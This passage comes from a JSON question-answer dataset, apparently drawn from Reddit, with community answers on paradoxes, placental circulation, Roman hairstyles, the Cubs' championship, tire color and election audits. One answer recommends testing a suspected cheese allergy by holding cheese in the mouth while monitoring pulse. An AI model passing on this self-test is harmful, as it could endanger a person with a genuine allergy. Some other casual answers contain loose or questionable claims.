+ 1/16 and so on](_URL_0_) will eventually equal 1, but only with an infinite number of pieces. Additionally, that's an important piece of the puzzle: you can add an infinite number of terms and get a finite answer.\n\nThe question then becomes how fast you're traveling. If you travel each piece and take a one-second break between each one, you won't ever reach your end point (i.e., if you take each distance as an actual step instead of covering a bunch of the really small ones with a single step). Something that takes one second over infinitely many repetitions means that you need an infinite amount of time.\n\nBut let's say you decide to travel 1 mile per hour for the entire process, without taking any breaks when you reach a new halfway point. The first 1/2 mile would take 1/2 an hour, the next 1/4 mile would take 1/4 hour, the next 1/8 mile would take 1/8 hour, and so on. It turns out to be the same formula as for the distance: 1/2 hour + 1/4 hour + 1/8 hour + (and so on) equals 1 total hour, just like you'd expect (1 mile per hour over 1 mile = 1 hour). Again, you can add up an infinite number of pieces and get a finite answer, but this time, you're adding up times instead of distances.\n\nSo, just like you'd intuitively expect, you will reach your endpoint.", "an old Schrodinger's cat one from me \n\n > According to one interpretation of quantum mechanics, certain particles are both decayed and not decayed all the time, and only have to \"choose\" one state after they are measured. \n\n > Schrodinger thought that was ridiculous. To illustrate why, he made an analogy. Imagine you had such a particle, hooked up to an apparatus that would kill a cat in a box if the particle decayed. Schrodinger's point was that, at the macro scale the theory was ridiculous: even if we could pretend that a particle was both decayed and not decayed, surely it was ridiculous for the cat to be both alive AND dead until you opened the box. \n\n > People ended up liking the analogy more than the argument, and so Schrodinger's cat just became a way to talk about the weirdness of quantum physics. Because of the example, it also often confuses some people, leading them to think that the cat/particle is alive OR dead (decayed OR not decayed) until someone looks, rather than alive AND dead (decayed AND not decayed).\n\nAlso, a good explanation from another person here: _URL_0_", "Before covering the grandfather paradox, it is important to note that a paradox is a *statement*, not an event. \n\nThe grandfather paradox supposes that you have a time machine, and that for some reason, you plan to use it to go back in time to kill your grandfather. However, if you kill your grandfather, it would inadvertently kill you as well, and then you could never go back to kill your grandfather, which means your grandfather would still be alive. The paradox is meant to show the complexity of traveling backwards in time. It is, at its simplest, an unanswered question: **if you travel back in time, what happens when you do something that prevents you from going back in time?**"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/explainlikeimfive/search?q=Zeno%27s+Paradox&amp;restrict_sr=on&amp;sort=relevance&amp;t=all", "https://www.reddit.com/r/explainlikeimfive/search?q=Schrodinger%27s+Cat+&amp;restrict_sr=on&amp;sort=relevance&amp;t=all", "https://www.reddit.com/r/explainlikeimfive/search?q=Einstein%27s+twin&amp;restrict_sr=on&amp;sort=relevance&amp;t=all", "http://www.youtube.com/watch?v=5zVaFjSxAZs", "https://www.reddit.com/r/explainlikeimfive/search?q=Grandfather+Paradox&amp;restrict_sr=on&amp;sort=relevance&amp;t=all"], "answers_urls": [["http://img.sparknotes.com/figures/1/1e30de4c7774858f4bbaac8621f2e917/twin.gif"], ["https://www.reddit.com/r/explainlikeimfive/comments/u1elz/eli5_schr%C3%B6dingers_cat/c4rldvi"], ["https://en.wikipedia.org/wiki/1/2_%2B_1/4_%2B_1/8_%2B_1/16_%2B_%E2%8B%AF"], ["https://www.reddit.com/r/explainlikeimfive/comments/39393l/eli5_can_someone_break_down_schrodingers_cat/crzzzl9"], []]}
{"q_id": "1r8r2g", "title": "Is a pregnant woman's circulatory system pumping blood through the baby? And if so, how does the body handle different blood types between mom and baby?", "selftext": "An article I recently read on the Mayo Clinic website states, \"Pregnancy stresses your heart and circulatory system. During pregnancy, your blood volume increases by 30 to 50 percent to nourish your growing baby. The amount of blood your heart pumps each minute also increases by 30 to 50 percent.\" This leads me to believe that the circulatory systems of mom and baby are intertwined somehow. Is this true? Secondarily, if mom's blood is flowing through baby, what happens when, say, mom is Type A and baby is Type O?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1r8r2g/is_a_pregnant_womans_circulatory_system_pumping/", "answers": {"a_id": ["cdkpyc2", "cdkq3hb", "cdkq3u4", "cdkqj3h"], "score": [11, 3, 3, 25], "text": ["There is a [maternal-fetal barrier](_URL_2_) in the placenta, similar in function to the [blood-brain barrier](_URL_0_) (or for that matter the [blood-testis barrier](_URL_1_)/blood follicle barrier). It prevents large molecules from passing, like pathogens, immune cells, and blood antigens, the last of which determine blood type.\n\n^(Thanks, now \"blood\" looks funny.)", "No; the mother's heart pumps blood through the placenta, which makes for a small increase in where it needs to be pumped. The baby has it's own completely separate blood circulatory system which also goes through the placenta. \nIn the placenta the blood vessels get very small, thin walled  &  close so that nutrients can be transferred between them. \nI'm very surprised by the 30-50% increase figure; ", "No, mothers and babies have separate circulatory systems, but the mother's blood does have to carry all of the oxygen, nutrients, etc. for the baby as well.  Pregnant women also tend to put on weight in addition to that of the baby, which also stresses the heart.", "Maternal and fetal blood do not normally mix.  Maternal blood is pumped through the [maternal blood vessels in the placenta](_URL_1_), where nutrients and oxygen are allowed to diffuse into the fetal bloodstream due to the close proximity of fetal vessels.  There are a number of [fetal anatomic features](_URL_0_) that work together to make this system work, as the fetus will be obtaining oxygen from the mother rather than its lungs.  The expansion in maternal blood volume and cardiac output is simply a consequence of having to perfuse not only her normal organs but also divert a significant amount of bloodflow to perfuse the uterus and placenta, which then feed into fetal circulation - but they do remain separate.\n\nTypically having a baby with a different blood type is not an issue.  However, a Rh negative mother (eg O-, AB-, etc) can become sensitized to the Rh antigen if her fetus is Rh positive, resulting in complications for future pregnancies.  This usually occurs as tiny volumes of fetal blood ( < 0.1mL) enter maternal circulation and trigger formation of anti-Rh IgG antibiodies, which can then cross the placental barrier in subsequent pregnancies and cause hemolysis (destruction of fetal red blood cells).  ABO alloimmunization is less commonly an issue - for a variety of reasons the antibodies associated with Rh factor are more prone to cross the placenta and cause disease (they are IgG rather than IgM, and fetal rbcs express more of the Rh antigen).  There are a few other high-risk antibodies associated with fetal hemolysis (eg anti-Kell)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Blood%E2%80%93brain_barrier", "https://en.wikipedia.org/wiki/Blood%E2%80%93testis_barrier", "https://en.wikipedia.org/wiki/Placenta#Placental_circulation"], [], [], ["http://img.docstoccdn.com/thumb/orig/107478990.png", "http://www.biog1445.org/media/placenta.jpg"]]}
{"q_id": "6nxakt", "title": "What caused the Flavian hairstyle for Roman women to be so different from previous and future styles?", "selftext": "I was going through images of Roman sculptures today and the very elaborate [Flavian hairstyle](_URL_1_) caught my eye. The *[nodus](_URL_0_)* which precedes it is far less elaborate and [later busts](_URL_2_) (this one is from 180-200 CE) also do not have such intense styling. \n\nDo any Roman historians know what led to such elaborate hairstyles for such a brief period of time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6nxakt/what_caused_the_flavian_hairstyle_for_roman_women/", "answers": {"a_id": ["dkdjnsw"], "score": [25], "text": ["I'll try to outline some progression between hairstyles of Roman portraiture to ultimately argue that while styles changed, there wasn't really a decline in complexity or artistic skill in these portraits. Some important points to note though in examining stone portraiture would be the types of women being depicted. Obviously, these women would have been some of the richest in the empire and many of the portraits I'll use will be of those in the imperial family since they were more widely distributed and these women were some of the few that were given portraiture. As a result, while these hairstyles do represent trends in the upper class, they certainly don't for the lower classes and even the everyday wealthy Roman.\n\n**Before the Flavian Period (Julio-Claudian)**\n\nThe Julio-Claudian period is probably the earliest you can start with since primarily women from the imperial family were often the only ones able to have art made of them. They were also one of the most widely created an distributed sources of female portrayals in Roman art. So we start with Augustus's wife [Livia](_URL_7_) and this portrait alone is enough to show some of the messages that artists were trying to send. The youthful appearance of Livia is completely uncharacteristic of her since she was likely past 50 at the time this was commissioned. Comparisons have even been made that compare her to depictions of Roman deities, and this is a common trend within imperial portraiture. The hairstyle as well is not entirely a simple one, and some skill was required to sculpt the folds in her hair.\n\nContinuing into the reign of Tiberius (40 years prior to the beginning of the Flavian period) you have [Agrippina the Elder](_URL_6_), a member of the imperial family. One can see the growing complexity in Roman hairstyles for women (Not so much for men at this time) especially with innovations in drilling which would become commonplace for creating intricate hairstyles (Like the portrait of the Flavian woman you linked). So while I would say the Flavian period had some of the most extravagant hairstyles during the imperial period, earlier portraiture was not a simple as the portrait you linked to of preceding art.\n\n**The Flavian Period**\n\nNow we reach the period your question focuses on. Fortunately, the bust you linked is one of the more definitive examples of Flavian portraiture so there aren't really any other examples I need to link to. And this bust merely continues the trends of increasing complexity within hair through the increased drilling that was used with the earlier portrait of Agrippina the Elder. Interesting fact though, it is very plausible that the Flavian woman's hair is actually a hair piece, which may explain why it is so extremely elaborate. \n\n**After the Flavian Period (Nerva-Antonine and Severan Dynasties)**\n\nI want to begin by stating that complexity in hair didn't necessarily decline. Portraiture of men for instance from the mid 2nd century onward became just as complex in hair as these portraits of women. This is the case with emperors like [Marcus Aurelius](_URL_1_) or [Caracalla](_URL_3_) (I can link more if requested). \n\nHowever, you are right in saying later hairstyles for women, while complex, were not as extravagant as the Flavian woman bust. That being said, the extreme complexity was not the only defining trait of the styles. Height of hair was also extremely important, and supposedly Flavian styles meant to show tallness from the front and a sharp downward slope of hair towards the back. Elements of this are still present following the Flavians with the portrait of Trajan's wife [Plotina](_URL_0_). Later on, hairstyles returned to having the front much lower and natural. Examples off the top of my head include Hadrian's wife [Sabina](_URL_2_), Antoninus Pius's wife [Faustina the Elder](_URL_4_), and Marcus Aurelius's wife [Faustina the Younger](_URL_8_). So why are these new portraits much less flamboyant in hairstyles?\n\nOne could argue that the end of the *Pax Romana* is mirrored by this decline of decadence and callback to more conservative styles. However the mass instability marked with the decline began during the later years of the Nerva-Antonine dynasty and the beginning of the Severans, far after we see changes from the Flavian hairstyles. This argument though, does explain certain portrait characteristics in later imperial art which I can elaborate on if anyone wants to know.\n\nThe best explanation though, is just that styles change. Just because the the Flavian woman's hair does appear to be more flashy than later portraits, does not mean that it was more complex or required more skill than other busts. I earlier linked Faustina the Younger's portrait and I think hers is the best example of this, her hair is certainly not as extravagant, but it's not overly conservative, represents new trends, and still required incredible skill with sculpting and drilling.\n\nAlso, to represent later styles you linked to what I think is a portrait of [Julia Domna](_URL_5_) (Wife of Septimius Severus). And again the artistic skill required to depict the individual curls in her hair were also incredible. In fact, I'd argue the artistic complexity in the portrait as whole is greater than that of the Flavian woman with the increased emotion shown with Julia Domna through her facial expression and carved eyes. Furthermore, the overall style of her lowered hair is also quite complex as it was a type of wig that she pioneered as a style for Roman women in the Severan Dynasty\n\n**Sources:**\n\nFred S. Kleiner, *A History of Roman Art: Enhanced Edition*\n\nShelden Nodelman, *How to Read a Roman Portrait*\n\nPeter Stewart, *Roman Art*\n\n\nEdit: Clarification, drilling is meant to refer to the sculpting practice which made depictions of these complex hairstyles possible only in the realm of stone portraiture"]}, "title_urls": [], "selftext_urls": ["https://anotherwalkinthepark.files.wordpress.com/2014/07/waltersart_iphone-030.jpg", "http://imgur.com/GanjfDe", "http://www.vroma.org/images/raia_images/woman_bust2b.jpg"], "answers_urls": [["https://hf-mirror.net/_cdn/classconnection.s3.amazonaws.com/174/flashcards/4143174/png/screen_shot_2013-12-08_at_22831_pm-142D48F9B861A145CC6.png", "http://www.military-history.org/wp-content/uploads/2014/08/Marcus-Aurelius.jpg", "https://upload.wikimedia.org/wikipedia/commons/thumb/6/67/Vibia_Sabina.jpg/1200px-Vibia_Sabina.jpg", "http://farm3.staticflickr.com/2664/4207800564_06f6fd8fec_z.jpg", "https://c1.staticflickr.com/3/2725/4372317006_c417a4773e_z.jpg?zz=1", "https://upload.wikimedia.org/wikipedia/commons/thumb/d/de/Giulia_domna%2C_moglie_di_settimio_severo%2C_con_busto_non_pertinente%2C_inv._2210.JPG/220px-Giulia_domna%2C_moglie_di_settimio_severo%2C_con_busto_non_pertinente%2C_inv._2210.JPG", "https://s-media-cache-ak0.pinimg.com/originals/90/a9/e1/90a9e163f26d2dd77220b4461d1ffdb2.jpg", "https://s-media-cache-ak0.pinimg.com/originals/c1/2b/09/c12b09c255a603caf2d64e12d09e1ee3.jpg", "https://s-media-cache-ak0.pinimg.com/originals/85/e3/d2/85e3d2759f1b4fb0ba325a3de128032b.jpg"]]}
{"q_id": "5av4cv", "title": "why is the cubs winning such a big deal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5av4cv/eli5_why_is_the_cubs_winning_such_a_big_deal/", "answers": {"a_id": ["d9jmdgi", "d9jmily", "d9jmyex", "d9jpxhw"], "score": [18, 3, 5, 12], "text": ["They had the longest championship drought in major American sports history. By a whole bunch. It's over. Big deal.", "One of the first cable networks was WGN out of Chicago. Millions of kids would rush home to watch cartoons on that channel. Unless there was a Cubs game. A large number of 40 somethings have this youthful view of the team. Another major reason is Harry Caray. He was the play by play guy for the Cubs. His charisma was larger than life. His popularity transcended the team he covered. He is probably the sole reason Take Me Out To the Ballpark is still sung.\n\nEdit: they also had the longest title drought in all major sports. 108 years.", "Because they haven't won anything in ages plus all of the bad luck and superstition that seemed to follow them.  Being a Cubs fan was rather a practice of low expectations (but they're still one of my favorite teams and now I feel vindicated).", "I've been living in Chicago for the past 5 years and grew up in a suburb outside of the city. I'm living here now and there's been a constant stream of fireworks, (possible gun shots), sirens, screaming, and car honking. The celebration is unbelievable. Let me Try to explain a few reasons why Chicagoans/Cubs fans feel this is so monumental. \n\n* The Cubs were under the biggest losing streak in sports franchise history. 108 years... to put that into perspective... think about how many generations ago that was, what the U.S. was like then etc.\n\n* Wrigley stadium and Wrigleyville have a very a fun \"family\" feel. The White Sox stadium is simply not the same in providing that kind of atmosphere. It feels more commercial... The Cubs are owned by the Chicago Tribune and Wrigleyville is kind of like classically known as a fun (sometimes very drunken) community area... it's on the North Side is a small town college-bar type of neighborhood... there's a skating rink right outside of it and bars, restaurants  &  little shops in the area. It has its own allure and that's why celebrities like John Cusack and Bill Murray cheer for the Cubs.\n\n* Superstition - It was believed an old man who used to bring his goat to the games in the 1900s was one day banned and told he could no longer bring his goat in. Afterward he cursed the team and said they would never win another world series. Not sure the veracity of this silly tale but as far as sports fandom goes... it fueled the energy behind the morbid fascination that increased after each world series failure. Also... after literally a century of losing... it did feel as if the universe was working against the Cubs anyways. Now people are going to say a \"curse was lifted.\"\n\n* That fucking game... I don't even watch baseball much so I can't speak to the greater logistics or in-depth play analysis or anything... but that fucking game...it was Game 7. Just last week the Cubs were down and needed to win THREE GAMES IN A ROW to win the world series. And they did just that. But it did not happen easily still. It went into overtime... there was literally a last minute weather delay that added an extra 15+ minutes of stall time to the game in the overtime! It was a nail biter in every possible way and the suspense put millions of people on edge. And then the Cubs actually just fucking finally did it...\n\n* The team: several of the players people think are good looking including Addison Russell... Kris Bryant... Baez... women all want their babies. They're a bunch of young badass guys who came together relatively recently. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1p6s58", "title": "How Realistic is the Movie the Eagle (2011)", "selftext": "This movie has been on HBO seemingly non-stop. I know the Hadrian's wall is real and Rome did lose men up there and I  doubt that anyone went to retrieve anything/body lost. I'm really wondering more about the portrayal of the tribes. Did some really cover themselves in clay? Could they really run long distances better then Romans?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1p6s58/how_realistic_is_the_movie_the_eagle_2011/", "answers": {"a_id": ["cczh9k9", "cczl9it"], "score": [8, 7], "text": ["I can't speak for the other parts, but I can say that the Roman legions took their *aquila* very seriously. One of Germanicus' goals during his retaliation campaign against the Germanic tribes after the Battle of Teutoburg Forest was to recover the *aquila* of the destroyed legions (Legio XVII, Legio XVIII, and Legio XIX), which I believe were all recovered. It was considered a huge disgrace to allow your *aquila* to be captured and they were only taken away if a legion was disbanded. It's not unlike the modern day idea of \"loss of colors\" in which a unit would have their flag captured or taken away in punishment.", "The portrayal of the Picts as wild unwashed barbarians is very bad, and actually bordering on the racist. Sure, they didn't have as much iron as the Romans could produce in their slave-staffed mines and their factories, but they definitely were just as civilised, even if not urban or organised into a single state, as the Romans were."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4a8wwx", "title": "How did the period of \"yellow journalism\" around 1890/1900 come to an end?", "selftext": "In a discussion of media bias and regulation on another sub, I found myself tempted to point out that America had solved this problem before...but I realized that I had no idea how, or even if it truly had.  Casual searches make it appear as though Hearst and Pulitzer simply developed a conscience and changed their ways after McKinley was shot.  But I'm skeptical that they both just had Ebenezer Scrooge transformations and thus ended an ugly era.  How did that period of journalism come to an end...if it did?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4a8wwx/how_did_the_period_of_yellow_journalism_around/", "answers": {"a_id": ["d0z2dyj"], "score": [5], "text": ["Starting around 1902, various Progressive activists and writers tried to make journalism respectable and the newspaper trades became increasingly professionalized.  This process accelerated after 1908 as the first formal \"journalism school\" was founded at University of Missouri.  By 1917, the sensationalisitc and muckracking styles of newpaper writing were falling out of favor, although I'm sure the war effort helped with this somewhat.  During the 1920s and 1930s journalism became increasingly professionalized, and by the 1950s many (if not most) professional newspaper journalists are graduates of collegiate journalism schools.   J-schools tended to teach a very specific style of writing narrative which is often presented (somewhat misleadingly) as \"neutral\".\n\nFor further reading, I suggest *Journalism, 1908: Birth of a Profession* as a good scholarly source for current understanding on the changes that newspapers and the people writing for them underwent in the early 20th century."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5xu10p", "title": "A healthy human inadvertently inhales a small bug such as a fruit fly. What happens to the fruit fly if it does not get coughed or exhaled out?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5xu10p/a_healthy_human_inadvertently_inhales_a_small_bug/", "answers": {"a_id": ["dem262z", "dentrt5"], "score": [13, 2], "text": ["Generally, debris that is inhaled and not otherwise expelled gets trapped in the mucous produced by the respiratory tract.  Microscopic cilia then act to move the material to the throat, where it is either expelled through eg. coughing, or swallowed to be disposed of via the digestive tract.", "The pprecise answer to your question, truth be told, is that the fruit fly quickly dies!  I presume you were more interested in the effect on the human, but that is minor by comparison to the fate of the hapless insect, zooming like some errant aircraft into an ocean of Elmer's Glue.   A sad end, for sure. \n\n(In every breath you take, microscopic junk goes in there and must be dealt with by your respiratory system.  Long ago, it lined itself in glue, heat and humidity management features, and enlisted a backup army of immune system soldiers to fight off nasties.  It even lined up some hair filters for involuntary duty in the nose.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "32wyx0", "title": "why, when i eat cheese, do my cheeks tingle and feel cold?", "selftext": "This is something I've come across only twice in other people. For those who don't have the same experiences I often look like a tit so don't judge haha. There isn't any type of cheese in particular that triggers this reaction but I've noticed the stronger the cheese the stronger the reaction.\n\nI'll try and explain the reaction itself as best I can. It is a tight tingling sensation where my jaw hinges to my skull almost like a gritty buzz. My cheeks feel flushed with coolness almost like an AC fan is blowing on my face.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32wyx0/eli5_why_when_i_eat_cheese_do_my_cheeks_tingle/", "answers": {"a_id": ["cqfdvpn"], "score": [3], "text": ["Sounds like a mild allergic reaction.  What you can do is take your pulse, then put a piece of cheese in your mouth and hold it there.  Continue monitoring your pulse while you hold the cheese in your mouth.  If your heart rate increases, it's an allergy/intolerance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "azn3ef", "title": "Looking for good reads recommendations about historical cartography", "selftext": "So, as the title says, I'm looking for good books about the history of maps, how to read them, understand them, why was mapped in 16 century made in that and that way etc. I tried to find by myself but I only came across general books about maps, nothing that seems really good from a historical perspective. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/azn3ef/looking_for_good_reads_recommendations_about/", "answers": {"a_id": ["ei91qml", "ei93uek", "ei9h3ii"], "score": [2, 2, 3], "text": ["It may not be as historically-oriented as you're looking for-- it's been a while since I've read it, so I don't recall-- but I really enjoyed reading *Off the Map: The Curious Histories of Place Names* by Derek Nelson!", "Hi. I have a couple of books on historical cartography that I love. I don't think they're *exactly* what you're looking for - that is, they aren't a \"history of cartography\" - but, depending on your interests, you may find them fascinating. Author [Derek Hayes](_URL_0_) is a geographer with an interest in old maps. He has written several books on various themes, e.g. the [mapping of the Arctic](_URL_1_), which trace the development of maps of that region through time. In so doing, he discusses who made the maps, under what circumstances, the methods used, their (and their backers') motivations, and so on. Very engaging for map enthusiasts.", "With other good recommendations already given, I can't recommend enough *The History of Cartography* series by The University of Chicago press which, in addition to being amazing and thorough, has first three volumes [available for free online in pdf form](_URL_0_) and which I referenced a lot in my answers here.\n\nI think the volumes published so far cover only the development of cartography from ancient times to end of the Renaissance, which means it doesn't yet go through more modern developments. But it gives a really good overview of the state of knowledge of also non-European cartographical practices which is refreshing and super interesting.\n\nOverall, it's a really well written up-to-date scholarship of cartography, in form of free pdfs, that are easy to read standalone chapters where you can basically just read chapters you are interested in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.douglas-mcintyre.com/author/derek-hayes", "http://www.douglas-mcintyre.com/book/historical-atlas-of-the-arctic"], ["https://www.press.uchicago.edu/books/HOC/HOC_V1/Volume1.html"]]}
{"q_id": "3p60tv", "title": "Why did many of the women who dated with Hitler want to commit suicide?", "selftext": "Was there an incredibly high suicide rate in Germany at those times? I was looking at this page [of Hitler's relationships](_URL_0_), and it really stood out to me that all four possible girlfriends of him after 1924 either died of suicide or have at least tried to commit suicide. Was it something about Hitler that drove them crazy/depressed? I think we're talking about a too big amount of people for it to be coincidence.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3p60tv/why_did_many_of_the_women_who_dated_with_hitler/", "answers": {"a_id": ["cw464ex"], "score": [67], "text": ["One of our all-might moderators /u/Georgy_K_Zhukov did a great write-up on the question [Are There Any Reports On Hitler's Sex Life?](_URL_0_) and it is well worth a look at because it answers some of this question tangentially. \n\nPart of the problem with answering this question, and likely the reason it is such a graveyard, is that Hitler very much kept the women in his life in the background. Much of the picture of his sex life is based upon postwar reminiscences and educated speculation. Hitler ordered all of Braun's personal correspondence with him destroyed before his suicide. Although some in the Western press caught on to the existence of Braun, the German press largely knew to avoid speculating upon his romantic attachments. This has given historians a very narrow source base upon which to extrapolate a larger picture of Hitler's romantic life. \n\nOne thing that is relatively clear is that Hitler always presented his own personal drives as wholly subordinate to the cause of National Socialism. In public, he was always a solitary figure and this meant the few women in his life were shunted far away from the limelight. At social events Braun attended, Hitler often maintained a very cool \nand distant reserve towards her. This coolness was in contrast to Braun's home movies at the Berghof, where Hitler struck a much more [intimate and flirty tone](_URL_1_) with his paramour. \n\nOne of the important stepping stones for the politicization of Hitler's asexuality was the suicide of his niece, Geli Raubal. Her suicide  in 1931 came at a very delicate time for Hitler and the double scandal of incest and a dubious death was damaging to Hitler's credibility as an emerging public figure of note in Germany. A number of newspapers affiliated with the left like the left-liberal *Regensburger Echo* used the story to portray Hitler as a weak and immoral figure. Within this context, Hitler knew he had to act soon. His lawyer threatened libel against the *M\u00fcnchener Post* for implying that Hitler precipitated the suicide, which subsequently forced the paper to retract the story a day later. Six days after her death, Hitler declared to an NSDAP meeting in Hamburg \"what has given me the most pains and cost me the most work is what I love best: our *Volk*.\" The NSDAP newspaper *Der Angriff* would over the next months continue to emphasize that Hitler had only one true mistress, the German nation, and he had subsumed all worldly desires to service his one true love. Although Hitler had cultivated this mystique of the lone individual before Raubal's suicide, the questions surrounding her death gave him an added impetus to reemphasize this facet of his public image. The 1932 authorized book *The Hitler Nobody Knows* provided an in depth look at Hitler's private life and presented a carefully crafter image of a domestic life characterized by a sober modesty. That image became dominant once he became *Fuhrer* and Hitler lorded over the idea that his superhuman tasks meant he did not need fulfill the base requirements of his fellow men. At holidays and his birthday, he tended to make a show of disdaining the need for the ostentatious presents that flooded the Chancellery.  \n\nThis politically-motivated public indifference towards Raubal and Braun had the potential to greatly strain any relationship, however any firm conclusion on the nature of these relationships is largely speculative. The absence of direct documentation from any of the participants (Hitler, Raubal, Braun) means that historians have to construct a picture of Hitler's love life through scraps of information. It is a plausible hypothesis that Hitler's coldness and desire to control these women, which is apparent in his restrictions on their public appearance at state and party events, contributed to unhappiness and depression. These women were all significantly younger than Hitler and lacked any real political networks of their own and were thus dependent upon Hitler's largess. Yet there is also the possibility that Hitler's romantic life was relatively normal for a man of his position and era. Hitler was hardly the first politician to sideline his romantic life for political ends or be drawn towards younger partners. And while it is tempting to portray Hitler's control over these women as emblematic of his wider need for domination in all areas in his life, such a psychological portrait goes a bit too far given the paltry level of evidence. In some ways, when confronting the gravity of Hitler's crimes, it is psychologically easier to accept that he was perverted and distorted in all areas of his life, including romance. The idea that Hitler's love life was relatively normal, or at least not uncommon for his era and political position, is in some ways a more disturbing picture of Hitler to come to terms with than the idea of a sexually repressed and domineering monster. \n\n*Sources*\n\nGo\u0308rtemaker, Heike B. *Eva Braun: Life with Hitler*. New York: Alfred A. Knopf, 2011. \n\nKershaw, Ian. *Hitler, 1936-45: Nemesis*. New York: W.W. \nNorton, 2000. \n\nStratigakos, Despina. *Hitler at Home*. London: Yale University Press, 2015. "]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Sexuality_of_Adolf_Hitler#Possible_relationships"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3khker/are_there_any_reports_on_hitlers_sex_life/", "https://www.youtube.com/watch?v=E3BSqGqnEVc&amp;feature=youtu.be&amp;t=23"]]}
{"q_id": "6zakar", "title": "why are all car/truck tires black? can't we get white, red, blue, or other colors?", "selftext": "These would sell like crazy. Most people only ever buy tires when they're worn out. If I could get tires that wear out faster but I could swap colors when I wanted, I'd be all over that. Is there some technical reason why tires are always black?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6zakar/eli5why_are_all_cartruck_tires_black_cant_we_get/", "answers": {"a_id": ["dmtuwpa", "dmtvbj1", "dmtvefm", "dmtzhgg", "dmu5pnb"], "score": [88, 12, 33, 17, 2], "text": ["We absolutely could get those colors, but the tires would look incredibly dirty after a couple minutes on the road. Darker tires = appearance of being less dirty", "The color is because that carbon is added to the rubber.\n\nRubber is white and the first tires was also white since rubber has a off-white color. Early tires was pure white zinc oxide was used as a addetive. That is the reason the the Michelin Man is white, adding carbon to tires stated 14 years after he vas created in 1898\n\nCarbon is today added because it improve strengthen, heat transfer, durability and make it in all way a better tire.\n\nSo a tire of another color would be worse. There exist tires of different colors but the usage is for exhibition not for road usage since the will wear out faster and be less safe", "[They do for bike tires](_URL_0_), and [they have slow-speed coloured tires available from China](_URL_1_).\n\nToday's tires are largely formed from synthetic rubber plus various reinforcements like wiring. It's black because a toughening addition is carbon black, which is pretty much charcoal and is black as you can get. The result is an excellent mix of flexibility, strength and wear resistance. \n\nThere's a few ways to make it a different colour: put a layer of something else on top of the black rubber like a coating, put some sort of colour into and through the rubber itself to overwhelm the carbon-black, don't put in carbon-black, or use a non-rubber chemical. \n\nWe've done the first and you can buy such tires today. \"Whitewall tires\" which have a band of white on the outer facing of the tire, is a classy element of a lot of antique cars. But you can only really put that coating on the parts of the tire that don't touch anything, otherwise it'll just abrade off quickly and look nasty.\n\nThe second option doesn't work very well because, as you stated, they wear out so much faster. The problem with changing the colour of the synthetic rubber that they use for car tires is it would require a LOT of dye or other colouring to overcome its pitch-black colour from the included carbon-black, resulting in a much weaker tire. Or you could leave out the carbon-black to make it easier to colour something else... and again, much weaker tire.\n\nAnd the final option, a different chemical formulation, would also be weaker and less long-lasting, absolutely killing the tire's life at normal driving speeds.\n\n[edited to correct an inaccuracy]\n", "Transparent tires were invented, but were too impractical for use (they only looked good it you didn't use them).\n\n_URL_0_", "As the others have stated tires are black because of carbon. As well as a reinforcer and toughener, carbon black also protects against UV light which would quickly degrade the tire. Other agents would also work giving different colours, but they are much more expensive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://sc01.alicdn.com/kf/HTB19g0YQVXXXXaZXpXXq6xXFXXXO/18-26-inch-bicycle-tires-700x18-coloured.jpg", "https://qph.ec.quoracdn.net/main-qimg-0b02646c5ef4cbfef07af3dd8c9e60c1-c"], ["https://www.jalopyjournal.com/?p=27881"], []]}
{"q_id": "2ix8hf", "title": "in a democracy, if nobody knows which candidate anyone else voted for, how do we know we can trust the results of an election?", "selftext": "I was just thinking about how peoples votes are kept private (which has it's benefits, e.g people can't be forced by companies or unions to vote a certain way), and how this means an individual in a democracy ultimately cannot confirm the election results are correct themselves, and must have pretty much total faith in the state, and independent bodies who run the elections that the published results are correct. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ix8hf/eli5_in_a_democracy_if_nobody_knows_which/", "answers": {"a_id": ["cl6cdni", "cl6cdyn", "cl6celn", "cl6csnq"], "score": [13, 2, 3, 25], "text": ["Audit trails.\n\nIn every good elections system, there's a way to go back to the physical ballots and count them again, and to compare how many ballots there are as compared to the number of people who showed up at the polls. There's no need to tie a specific ballot to the person who cast it.", "One can increase their confidence in the electoral system by volunteering. Positions are available for manning voting locations, ushering, setting up, and counting ballots.", "We spread the responsibility for accurate vote counting out among many thousands of ordinary people, and have numerous security measures in place to make sure that votes aren't tampered with. We also know that the political risk of committing organized vote fraud is great enough that political parties rarely bother with it. If caught, the guilty face serious prison sentences and the party is severely weakened by the scandal. We also have exit polling, which gives us a good idea of what an election is going to turn out like before it's actually over. It's very accurate, and would make it difficult to get away with vote fraud undetected.", "Audit trails and exit polling.\n\nAudit trails allow you to demonstrate that the final tally declared in the end is directly derived from the physical votes cast. This is one of the major arguments against electronic voting: electronic records can be erased and overwritten relatively easily (just look at your hard drive). You can't remove and replace paper ballots without a physical act. The ballots go somewhere, and systematically getting rid of thousands of ballots and replacing them with new ones would be much more difficult to fake than changing digital 